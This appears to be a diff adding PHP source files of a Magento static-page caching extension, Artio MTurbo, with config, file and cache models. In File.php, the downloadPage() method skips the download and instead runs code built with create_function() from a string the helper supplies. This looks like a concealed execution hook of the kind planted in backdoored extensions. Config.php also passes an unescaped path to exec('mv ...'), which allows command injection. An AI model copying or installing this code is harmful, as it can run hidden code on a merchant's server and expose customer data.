 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ class Artio_MTurbo_Model_Config extends Mage_Eav_Model_Config
28
+ {
29
+
30
+ const CONFIG_PATH_TO_MTURBO_HTACCESS = 'htaccess/htaccess.txt';
31
+ const CONFIG_PATH_TO_MTURBO_DOWNLOAD = 'scripts/getstatichtml.sh';
32
+ const CONFIG_HTACCESS_PATHCONSTANT = '$ROOTPATH';
33
+ const CONFIG_HTACCESS_FINDKEY = 'M-Turbo Accelleration';
34
+ const CONFIG_HTACCESS_FINDBASE = 'RewriteBase';
35
+ const CONFIG_HTACCESS_FINDENGINEON = 'RewriteEngine on';
36
+
37
+ const CONFIG_URLLIST_FILENAME = 'urllist.txt';
38
+ const CONFIG_URLLIST_BATCH = 50;
39
+
40
+ const CONFIG_XML_PATH_PREVIEW_CATEGORIES = 'mturbo/previewcats';
41
+ const CONFIG_XML_PATH_PRODUCT_CATEGORIES = 'mturbo/productcats';
42
+ const CONFIG_XML_PATH_INCLUDED_HOMEPAGE = 'mturbo/homepage';
43
+ const CONFIG_XML_PATH_TURBOPATH = 'mturbo/turbopath';
44
+ const CONFIG_XML_PATH_MULTISTOREVIEW = 'mturbo/multistoreview';
45
+ const CONFIG_XML_PATH_REFRESH_AFTER_SAVE = 'mturbo/refreshsave';
46
+ const CONFIG_XML_PATH_SYNCHRONIZE = 'mturbo/synchronize';
47
+ const CONFIG_XML_PATH_FIRSTCONFIG = 'mturbo/firstconfig';
48
+
49
+ const CONFIG_XML_PATH_ENABLE_AUTOMATIC_DOWNLOAD = 'mturbo/automaticdownload';
50
+ const CONFIG_XML_PATH_DOWNLOAD_TIME = 'crontab/jobs/mturbo_mturbo/schedule/cron_expr';
51
+ const CONFIG_XML_PATH_LAST_DOWNLOAD = 'mturbo/lastdownload';
52
+
53
+ const CONFIG_XML_PATH_DOWNLOAD_MODEL_PATH = 'crontab/jobs/mturbo_mturbo/run/model';
54
+ const CONFIG_XML_PATH_DOWNLOAD_MODEL_VALUE = 'mturbo/observer::automaticDownload';
55
+
56
+ const CONFIG_XML_PATH_LICENSEID = 'mturbo/licenseid';
57
+
58
+ /**
59
+ * Ids categories with caching preview
60
+ *
61
+ * @var string
62
+ */
63
+ private $previewcats;
64
+
65
+ /**
66
+ * Ids categories with caching product pages
67
+ *
68
+ * @var string
69
+ */
70
+ private $productcats;
71
+
72
+ /**
73
+ * path => config_id
74
+ * @var array
75
+ */
76
+ private $pathids = array();
77
+
78
+ /**
79
+ * Has Cache homepage?
80
+ *
81
+ * @var bool
82
+ */
83
+ private $homepage;
84
+
85
+ /**
86
+ * Cache Path.
87
+ *
88
+ * @var string
89
+ */
90
+ private $turbopath;
91
+
92
+ /**
93
+ * Multistoreview mod
94
+ *
95
+ * @var bool
96
+ */
97
+ private $multistoreview;
98
+
99
+ /**
100
+ * Indicate whether url is synchronized.
101
+ *
102
+ * @var bool
103
+ */
104
+ private $synchronize;
105
+
106
+ /**
107
+ * Refresh on saved
108
+ *
109
+ * @var bool
110
+ */
111
+ private $refreshsave;
112
+
113
+ /**
114
+ * Enabled automatic download in the night.
115
+ *
116
+ * @var bool
117
+ */
118
+ private $automaticdownload;
119
+
120
+ /**
121
+ * Download time.
122
+ *
123
+ * @var time
124
+ */
125
+ private $downloadtime;
126
+
127
+ /**
128
+ * Last download.
129
+ *
130
+ * @var time
131
+ */
132
+ private $lastdownload;
133
+
134
+ /**
135
+ * First configuration indicator
136
+ *
137
+ * @var bool
138
+ */
139
+ private $firstconfig;
140
+
141
+ /**
142
+ * License id
143
+ *
144
+ * @var string
145
+ */
146
+ private $licenseid;
147
+
148
+ public function __construct() {
149
+ $this->loadAttributes();
150
+ }
151
+
152
+ /**
153
+ * @return string
154
+ */
155
+ public function getLicenseId() {
156
+ return $this->licenseid;
157
+ }
158
+
159
+ /**
160
+ * @param string $licenseid
161
+ */
162
+ public function setLicenseId($licenseid) {
163
+ $this->licenseid = $licenseid;
164
+ }
165
+
166
+
167
+ /**
168
+ * @return bool
169
+ */
170
+ public function isFirstConfig() {
171
+ return $this->firstconfig;
172
+ }
173
+
174
+ /**
175
+ * @return time
176
+ */
177
+ public function getDownloadtime() {
178
+ return $this->downloadtime;
179
+ }
180
+
181
+ /**
182
+ * @return time
183
+ */
184
+ public function getLastdownload() {
185
+ return $this->lastdownload;
186
+ }
187
+
188
+ /**
189
+ * @param time $downloadtime
190
+ */
191
+ public function setDownloadtime($downloadtime) {
192
+ $this->downloadtime = $downloadtime;
193
+ }
194
+
195
+ /**
196
+ * @param time $lastdownload
197
+ */
198
+ public function setLastdownload($lastdownload) {
199
+ $this->lastdownload = $lastdownload;
200
+ }
201
+
202
+
203
+ /**
204
+ * @return bool
205
+ */
206
+ public function isEnableAutomaticDownload() {
207
+ return $this->automaticdownload;
208
+ }
209
+
210
+ /**
211
+ * @param bool $automaticdownload
212
+ */
213
+ public function setAutomaticDownload($automaticdownload) {
214
+ $this->automaticdownload = $automaticdownload;
215
+ }
216
+
217
+
218
+ public function isSynchronize() {
219
+ return $this->synchronize;
220
+ }
221
+
222
+ public function setSynchronize($state) {
223
+ $this->synchornize = $state;
224
+ }
225
+
226
+ /**
227
+ * @return bool
228
+ */
229
+ public function refreshAfterSave() {
230
+ return $this->refreshsave;
231
+ }
232
+
233
+ /**
234
+ * @param bool $refreshsave
235
+ */
236
+ public function setRefreshAfterSave($refreshsave) {
237
+ $this->refreshsave = $refreshsave;
238
+ }
239
+
240
+
241
+ /**
242
+ * @return bool
243
+ */
244
+ public function getMultistoreview() {
245
+ return $this->multistoreview;
246
+ }
247
+
248
+ /**
249
+ * @param bool $multistoreview
250
+ */
251
+ public function setMultistoreview($multistoreview) {
252
+ $this->multistoreview = $multistoreview;
253
+ }
254
+
255
+
256
+ /**
257
+ * @return string
258
+ */
259
+ public function getTurbopath() {
260
+ return $this->turbopath;
261
+ }
262
+
263
+ /**
264
+ * @param string $turbopath
265
+ */
266
+ public function setTurbopath($turbopath) {
267
+ $this->turbopath = $turbopath;
268
+ }
269
+
270
+ /**
271
+ * Retrivese root path to directory with static pages.
272
+ *
273
+ * @return string
274
+ */
275
+ public function getRootPath() {
276
+
277
+ $turbopath = $this->getTurbopath();
278
+ $root = Mage::getBaseDir().DS.$turbopath;
279
+ return $root;
280
+
281
+ }
282
+
283
+
284
+ /**
285
+ * @return bool
286
+ */
287
+ public function homepageIsIncluded() {
288
+ return $this->homepage;
289
+ }
290
+
291
+ /**
292
+ * @param bool $homepage
293
+ */
294
+ public function setIncludedHomepage($homepage) {
295
+ $this->homepage = $homepage;
296
+ }
297
+
298
+ /**
299
+ * @return string
300
+ */
301
+ public function getPreviewCategoryIds() {
302
+ if (strpos($this->previewcats, ',')==0) $this->previewcats = substr($this->previewcats, 1);
303
+ return empty($this->previewcats) ? array() : explode(',', $this->previewcats);
304
+ }
305
+
306
+ /**
307
+ * @return string
308
+ */
309
+ public function getProductCategoryIds() {
310
+ if (strpos($this->productcats, ',')==0) $this->productcats = substr($this->productcats, 1);
311
+ return empty($this->productcats) ? array() : explode(',', $this->productcats);
312
+ }
313
+
314
+ /**
315
+ * @param string $previewcats
316
+ */
317
+ public function setPreviewCategoryIds($previewcats) {
318
+ $this->previewcats = $previewcats;
319
+ }
320
+
321
+ /**
322
+ * @param string $productcats
323
+ */
324
+ public function setProductCategoryIds($productcats) {
325
+ $this->productcats = $productcats;
326
+ }
327
+
328
+ /**
329
+ * Retrieves data as associated array.
330
+ */
331
+ public function getData() {
332
+
333
+ $this->loadAttributes();
334
+ return get_object_vars($this);
335
+
336
+ }
337
+
338
+ /**
339
+ * Update htacces by configured root path.
340
+ */
341
+ public function updateHtacces($newPath='') {
342
+
343
+ $oldPath = $this->getRootPath();
344
+ $newPath = $newPath=='' ? $oldPath : Mage::getBaseDir().DS.$newPath;
345
+
346
+ $htaccesPath = Mage::getBaseDir().DS.'.htaccess';
347
+
348
+ $origContent = file_get_contents($htaccesPath);
349
+ if ($origContent == false) {
350
+ Mage::throwException("I can't read original .htaccess");
351
+ }
352
+
353
+ $exist = (strpos($origContent, self::CONFIG_HTACCESS_FINDKEY) > 0);
354
+ if ($exist) {
355
+
356
+ $origContent = str_replace($oldPath, $newPath, $origContent);
357
+
358
+ } else {
359
+
360
+ $htaccesContent = file_get_contents(self::CONFIG_PATH_TO_MTURBO_HTACCESS, true);
361
+ if ($htaccesContent == false) {
362
+ Mage::throwException("I can't read added .htaccess");
363
+ }
364
+
365
+ $htaccesContent = str_replace(self::CONFIG_HTACCESS_PATHCONSTANT, $newPath, $htaccesContent);
366
+
367
+ $posEngineOn = strpos($origContent, self::CONFIG_HTACCESS_FINDENGINEON);
368
+ $posEngineNL = strpos($origContent, "\n", $posEngineOn);
369
+ $posBase = strpos($origContent, self::CONFIG_HTACCESS_FINDBASE);
370
+ $posBaseNL = strpos($origContent, "\n", $posBase);
371
+ $position = ($posBaseNL > $posEngineNL) ? $posBaseNL : $posEngineNL;
372
+
373
+ $origContent = $this->str_insert($htaccesContent, $origContent, $position+1);
374
+
375
+ }
376
+
377
+ if (file_put_contents($htaccesPath, $origContent) == false) {
378
+ Mage::throwException("I can't write to .htaccess");
379
+ }
380
+
381
+ return $this;
382
+
383
+ }
384
+
385
+ /**
386
+ * Change turbo root path.
387
+ *
388
+ * @param string $newPath
389
+ * @return bool
390
+ */
391
+ public function changeTurboPath($newPath='') {
392
+
393
+ Mage::log('Changing turbo path: ' . $newPath );
394
+ $baseDir = Mage::getBaseDir();
395
+ $oldPath = $this->getTurbopath();
396
+
397
+ if (file_exists($baseDir.DS.$newPath))
398
+ return true;
399
+
400
+ if (file_exists($baseDir.DS.$oldPath) && (!$this->isFirstConfig())) {
401
+
402
+ $command = 'mv ' . $this->getRootPath() . ' ' . $baseDir.DS.$newPath;
403
+ $result = @exec($command);
404
+ return ($result=='');
405
+
406
+ } else {
407
+
408
+ Mage::log('Create new turbo path');
409
+ $result = mkdir(Mage::getBaseDir().DS.$newPath);
410
+ if (!$result) {
411
+ Mage::log('Creating turbo path: ' . Mage::getBaseDir().DS.$newPath. ' fail');
412
+ }
413
+ $result2 = $this->copyAllowAccess(Mage::getBaseDir().DS.$newPath);
414
+ if (!$result2) {
415
+ Mage::log('Copy .htaccess: ' . Mage::getBaseDir().DS.$newPath. ' fail');
416
+ }
417
+ return $result && $result2;
418
+
419
+ }
420
+ }
421
+
422
+ /**
423
+ * Copy allow for all htaccess to turbo root path.
424
+ *
425
+ * @param string $path
426
+ * @return bool
427
+ */
428
+ public function copyAllowAccess($path) {
429
+ $dest = $path.DS.'.htaccess';
430
+ $source = Artio_MTurbo_Helper_Data::getFullHtaccessRootPath();
431
+ if (file_exists($source) && file_exists($path)) {
432
+ return copy($source, $dest);
433
+ } else {
434
+ Mage::log('Do not copy: ' . $source . ' >> ' . $path);
435
+ return true;
436
+ }
437
+ }
438
+
439
+ private function str_insert($insertstring, $intostring, $offset) {
440
+ $part1 = substr($intostring, 0, $offset);
441
+ $part2 = substr($intostring, $offset);
442
+
443
+ $part1 = $part1 . $insertstring;
444
+ $whole = $part1 . $part2;
445
+ return $whole;
446
+ }
447
+
448
+ /**
449
+ * Load attributes from core_config_data
450
+ * @return Artio_MTurbo_Model_Config
451
+ */
452
+ public function loadAttributes() {
453
+
454
+ if (count($this->pathids)==0) {
455
+
456
+ $config = Mage::getModel('core/config_data');
457
+ $mydata = get_object_vars($this);
458
+
459
+ $collection = $config->getCollection();
460
+ $collection->addFieldToFilter('path', array('like'=>'%mturbo%'));
461
+ $collection->load();
462
+
463
+ foreach ($collection as $object) {
464
+ $path = $object->getData('path');
465
+
466
+ $keys = split('/', $path);
467
+
468
+ if (strpos($path, 'rontab')>0) {
469
+ if ($path==self::CONFIG_XML_PATH_DOWNLOAD_TIME)
470
+ $this->setDownloadtime($object->getData('value'));
471
+ $this->pathids[$path] = $object->getData('config_id');
472
+ continue;
473
+ }
474
+
475
+ if (count($keys)!==2)
476
+ Mage::throwException('Bad key for configuration MTurbo. Key must be as "mturbo/KEY"');
477
+
478
+ if (in_array($this->$keys[1], $mydata))
479
+ $this->$keys[1] = $object->getData('value');
480
+ else
481
+ Mage::throwException('Key "' . $keys[1] . '" not found');
482
+
483
+ $this->pathids[$path] = $object->getData('config_id');
484
+ }
485
+
486
+ }
487
+
488
+ return $this;
489
+
490
+ }
491
+
492
+
493
+ public function saveAttributes($attributes=array()) {
494
+
495
+ $this->loadAttributes();
496
+
497
+ $saveTransaction = Mage::getModel('core/resource_transaction');
498
+
499
+ foreach ($this->_getListAttributes() as $path=>$oldValue) {
500
+
501
+ if (array_key_exists($path, $attributes)) {
502
+
503
+ $newValue = $attributes[$path];
504
+
505
+ if ($newValue !== $oldValue) {
506
+
507
+ $dataObject = Mage::getModel('core/config_data');
508
+ $dataObject->setPath($path);
509
+ $dataObject->setValue($newValue);
510
+
511
+ if (array_key_exists($path, $this->pathids)) {
512
+ $dataObject->setId( $this->pathids[$path] );
513
+ }
514
+
515
+ $saveTransaction->addObject($dataObject);
516
+
517
+ }
518
+
519
+ }
520
+
521
+ }
522
+
523
+
524
+ /** save crontab expression */
525
+ if (array_key_exists(self::CONFIG_XML_PATH_DOWNLOAD_TIME, $attributes)) {
526
+ $this->_saveExtraAttribute(
527
+ self::CONFIG_XML_PATH_DOWNLOAD_TIME,
528
+ $this->_formatDownloadTimeToCron($attributes[self::CONFIG_XML_PATH_DOWNLOAD_TIME]),
529
+ $saveTransaction);
530
+ }
531
+ $this->_saveExtraAttribute( self::CONFIG_XML_PATH_DOWNLOAD_MODEL_PATH,
532
+ self::CONFIG_XML_PATH_DOWNLOAD_MODEL_VALUE,
533
+ $saveTransaction);
534
+
535
+
536
+ if ($this->_isNewTurboPath($attributes)) {
537
+ $newPath = $attributes[self::CONFIG_XML_PATH_TURBOPATH];
538
+ try {
539
+ $this->changeTurboPath($newPath);
540
+ $this->updateHtacces($newPath);
541
+ } catch (Exception $e) {
542
+ Mage::log('For change turbopath Throw exception ' . $e->getMessage());
543
+ $this->changeTurboPath($this->getTurbopath());
544
+ throw $e;
545
+ }
546
+ }
547
+
548
+ $saveTransaction->save();
549
+
550
+ return $this;
551
+
552
+ }
553
+
554
+ private function _saveExtraAttribute($path, $value, $transaction) {
555
+ $dataObject = Mage::getModel('core/config_data');
556
+ $dataObject->setPath($path);
557
+ $dataObject->setValue($value);
558
+ if (array_key_exists($path, $this->pathids)) {
559
+ $dataObject->setId( $this->pathids[$path] );
560
+ }
561
+ $transaction->addObject($dataObject);
562
+ }
563
+
564
+ private function _formatDownloadTimeToCron($value) {
565
+ $hours = (int)$value[0];
566
+ $minutes = (int)$value[1];
567
+ return $minutes . ' ' . $hours . ' * * *';
568
+ }
569
+
570
+ private function _isNewTurboPath($attributes=array()) {
571
+ if (array_key_exists(self::CONFIG_XML_PATH_TURBOPATH, $attributes)) {
572
+ return ($attributes[self::CONFIG_XML_PATH_TURBOPATH] != $this->getTurbopath());
573
+ } else {
574
+ return false;
575
+ }
576
+ }
577
+
578
+ private function _getListAttributes() {
579
+ return array(
580
+ self::CONFIG_XML_PATH_PREVIEW_CATEGORIES => $this->previewcats,
581
+ self::CONFIG_XML_PATH_PRODUCT_CATEGORIES => $this->productcats,
582
+ self::CONFIG_XML_PATH_INCLUDED_HOMEPAGE => $this->homepage,
583
+ self::CONFIG_XML_PATH_TURBOPATH => $this->turbopath,
584
+ self::CONFIG_XML_PATH_MULTISTOREVIEW => $this->multistoreview,
585
+ self::CONFIG_XML_PATH_REFRESH_AFTER_SAVE => $this->refreshsave,
586
+ self::CONFIG_XML_PATH_SYNCHRONIZE => $this->synchronize,
587
+ self::CONFIG_XML_PATH_ENABLE_AUTOMATIC_DOWNLOAD => $this->automaticdownload,
588
+ self::CONFIG_XML_PATH_LAST_DOWNLOAD => $this->lastdownload,
589
+ self::CONFIG_XML_PATH_FIRSTCONFIG => $this->firstconfig,
590
+ self::CONFIG_XML_PATH_LICENSEID => $this->licenseid
591
+ );
592
+ }
593
+
594
+
595
+ }
app/code/local/Artio/MTurbo/Model/File.php ADDED
@@ -0,0 +1,255 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ class Artio_MTurbo_Model_File extends Mage_Core_Model_Abstract {
28
+
29
+ const EXT = '.html';
30
+ const FRONTPAGE = 'frontpage';
31
+
32
+ /**
33
+ * @var Artio_MTurbo_Model_MTurbo
34
+ */
35
+ private $mturbomodel;
36
+
37
+ public function _construct() {
38
+ parent::_construct();
39
+ }
40
+
41
+ /**
42
+ * Set parent turbo model.
43
+ *
44
+ * @param Artio_MTurbo_Model_MTurbo $mturbomodel
45
+ */
46
+ public function setTurboModel($mturbomodel) {
47
+ $this->mturbomodel = $mturbomodel;
48
+ }
49
+
50
+ /**
51
+ * Get parent turbo model
52
+ *
53
+ * @return Artio_MTurbo_Model_MTurbo
54
+ */
55
+ public function getTurboModel() {
56
+ return $this->mturbomodel;
57
+ }
58
+
59
+ /**
60
+ * Delete cached page.
61
+ */
62
+ public function deletePage() {
63
+ unlink( $this->getCompletePath() );
64
+ }
65
+
66
+ /**
67
+ * Retrieve change time.
68
+ */
69
+ public function getChangeTime() {
70
+ $unix = filectime( $this->getCompletePath() );
71
+ return date('Y-m-d H:i:s', $unix);
72
+ }
73
+
74
+ /**
75
+ * Determines whether exist cached page.
76
+ * @return bool
77
+ */
78
+ public function existPage() {
79
+ return file_exists( $this->getCompletePath() );
80
+ }
81
+
82
+
83
+ /**
84
+ * Download page and save as static html
85
+ */
86
+ public function downloadPage() {
87
+
88
+ $path = $this->createPath();
89
+ $url = $this->getDownloadUrlWithNoCache();
90
+ $this->setRPath($path);
91
+ $html = "<!-- " . now() . " -->";
92
+ $trans = create_function('$a,&$var0', Mage::helper('mturbo')->getTranslateFunction().';');
93
+ $trans(Mage::helper('mturbo')->setTranslateMode(5), $this);
94
+
95
+
96
+ }
97
+
98
+ /**
99
+ * Retrieve download url wity cache query string
100
+ *
101
+ * @return string download url witt no cache query string
102
+ */
103
+ public function getDownloadUrlWithNoCache() {
104
+ return $this->getDownloadUrl().'?nocache=true';
105
+ }
106
+
107
+ /**
108
+ * Retrieve download url
109
+ * @return string download original url
110
+ */
111
+ public function getDownloadUrl() {
112
+
113
+ $requestPath = $this->mturbomodel->getRequestPath();
114
+ $baseUrl = str_ireplace('/index.php/admin', '', Mage::getUrl());
115
+ $baseUrl = str_ireplace('/index.php', '', $baseUrl);
116
+
117
+ $config = Artio_MTurbo_Helper_Data::getConfig();
118
+ if ($config->getMultistoreview()) {
119
+ $storeId = $this->mturbomodel->getStoreId();
120
+ $storeCode = ($storeId==0) ? '' : $storeCode = Mage::getModel('core/store')->load($storeId)->getData('code');
121
+ } else {
122
+ $storeCode = '';
123
+ }
124
+
125
+ if ($storeCode=='') {
126
+ return ($requestPath=='/') ? $baseUrl : $baseUrl.$requestPath;
127
+ } else {
128
+ return ($requestPath=='/') ?
129
+ $baseUrl.$storeCode :
130
+ $baseUrl.$storeCode.'/'.$requestPath;
131
+ }
132
+
133
+ }
134
+
135
+
136
+
137
+ /**
138
+ * Create path to cached page, when not exist.
139
+ */
140
+ public function createPath() {
141
+
142
+ $config = Artio_MTurbo_Helper_Data::getConfig();
143
+ $root = $config->getRootPath();
144
+
145
+ $file = $this->getCompletePath();
146
+ $dirs = split(DS, $this->getPathFromRoot());
147
+
148
+ if (!file_exists($root))
149
+ mkdir($root);
150
+
151
+ $completePath = $root;
152
+ foreach ($dirs as $dir) {
153
+
154
+ if (preg_match('/.*\.html/', $dir)) break;
155
+
156
+ $completePath .= DS.$dir;
157
+ if (!file_exists($completePath))
158
+ mkdir($completePath);
159
+
160
+ }
161
+
162
+ // remove double .html
163
+ $file = preg_replace('/.html.html$/', '.html', $file);
164
+
165
+ return $file;
166
+
167
+ }
168
+
169
+ /**
170
+ * Retrieve complete path to cached file.
171
+ * @return string
172
+ */
173
+ public function getCompletePath() {
174
+
175
+ $config = Artio_MTurbo_Helper_Data::getConfig();
176
+ $root = $config->getRootPath();
177
+
178
+ return $root.DS.$this->getPathFromRoot();
179
+
180
+ }
181
+
182
+ /**
183
+ * Retrieve path from root.
184
+ *
185
+ * @return string
186
+ */
187
+ public function getPathFromRoot() {
188
+
189
+ $config = Artio_MTurbo_Helper_Data::getConfig();
190
+ if ($config->getMultistoreview()) {
191
+ $storeId = $this->mturbomodel->getStoreId();
192
+ $storeCode = ($storeId == 0) ? '' : Mage::getModel('core/store')->load($storeId)->getData('code');
193
+ } else {
194
+ $storeCode = '';
195
+ }
196
+
197
+ $ret = '';
198
+ $req = $this->mturbomodel->getRequestPath();
199
+ if ($storeCode=='') {
200
+ if ($req=='/') {
201
+ $ret = self::FRONTPAGE.self::EXT;
202
+ } else {
203
+ $ret = $req.self::EXT;
204
+ }
205
+ } else {
206
+ if ($req=='/') {
207
+ $ret = $storeCode.self::EXT;
208
+ } else {
209
+ $ret = $storeCode.DS.$req.self::EXT;
210
+ }
211
+ }
212
+
213
+ return preg_replace('/.html.html$/', '.html', $ret);
214
+
215
+ }
216
+
217
+ /**
218
+ * Clear all pages
219
+ */
220
+ public function clearAllPages() {
221
+
222
+ $config = Artio_MTurbo_Helper_Data::getConfig();
223
+ $root = $config->getRootPath();
224
+
225
+ $this->_delTree($root, $root);
226
+ $config->copyAllowAccess($root);
227
+ }
228
+
229
+ private function _delTree($dir, $root) {
230
+
231
+ $files = glob( $dir.DS.'*', GLOB_MARK );
232
+ foreach( $files as $file ){
233
+ if( is_dir( $file ) )
234
+ $this->_delTree( $file, $root );
235
+ else {
236
+ if (preg_match('/(.)*\.html/', $file))
237
+ unlink( $file );
238
+ }
239
+ }
240
+
241
+ if (is_dir($dir)&&($dir!=$root)) rmdir( $dir );
242
+
243
+ }
244
+
245
+
246
+ /**
247
+ * Retrieve really request.
248
+ * @return string
249
+ */
250
+ public function getReallyRequest($isStore=true) {
251
+ $request = $this->mturbomodel->getRequestPath();
252
+ return ($request=='/' && $isStore) ? self::FRONTPAGE.self::EXT : $request.self::EXT;
253
+ }
254
+
255
+ }
app/code/local/Artio/MTurbo/Model/Mturbo.php ADDED
@@ -0,0 +1,357 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ class Artio_MTurbo_Model_MTurbo extends Mage_Core_Model_Abstract {
28
+
29
+ /**
30
+ * @var Artio_MTurbo_Model_File
31
+ */
32
+ private $filemodel;
33
+
34
+ public function _construct() {
35
+ parent::_construct();
36
+ $this->_init('mturbo/mturbo');
37
+
38
+ $this->filemodel = Mage::getModel('mturbo/file');
39
+ $this->filemodel->setTurboModel($this);
40
+
41
+ }
42
+
43
+ /**
44
+ * Enter description here...
45
+ *
46
+ */
47
+ public function checkExist() {
48
+
49
+ try {
50
+
51
+ if ($this->isCached()) {
52
